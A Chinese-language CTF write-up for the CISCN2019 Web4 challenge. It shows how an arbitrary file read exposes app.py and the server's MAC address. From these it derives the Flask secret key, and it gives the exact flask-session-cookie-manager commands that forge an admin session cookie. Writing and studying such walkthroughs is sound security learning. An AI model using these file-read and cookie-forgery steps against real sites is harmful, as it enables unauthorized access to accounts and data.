[CISCN2019 华东南赛区]Web4
[CISCN2019 华东南赛区]Web4
点击就进入了百度的页面,但是发现了url也发生了变化
尝试一下任意文件读取(/etc/passwd)
尝试一下读取flag
f12查看发现了cookie中的session为jwt格式,可能为flask伪造
先去解密一下session(https://jwt.io/)
解密结果为www-data,如果是flask伪造的话需要找到secret_key,而在网上搜索flask有关信息时发现里面可能存在一个app.py文件
然后再去任意文件哪里查找有没有app这样的关键词,但是只发现了app并没有发现app.py
尝试读取一下app.py
整理如下代码:
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! Read somethings'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
审计代码可得确实是session伪造,并且告诉我们username必须是fuck(if session and session['username'] == 'fuck': ),以及secret_key要利用随机数求得(app.config['SECRET_KEY'] = str(random.random()*233) ),但是种子需要用到uuid.getnode函数(random.seed(uuid.getnode()) ),uuid.getnode函数用于获得网络接口的mac地址,如果机器具有多个网络接口,则返回通用管理的mac地址,而不是通过本地管理的mac地址返回。管理的mac地址保证是全局唯一的。如果getnode函数无法获取mac地址,则他会按照rfc 4122中的建议返回带有多播位得随机48位数字。uuid.getnode函数,是网卡mac地址的十进制数,使用(/sys/class/net/eth0/address)读取一下
找到地址之后按照源代码中的提示,生成secret_key
然后去linux中使用flask-session-cookie-manager-master(GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder)构造出新的session,使用命令(python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Yw8ANw.2tf4dnk4ntx3KEsZf7HC8ByAGlA' -s '105.264175525')(python3 flask_session_cookie_manager3.py encode -s '105.264175525' -t "{'username': b'fuck'}")
然后返回原页面修改session即可
url直接读取flag
完结撒花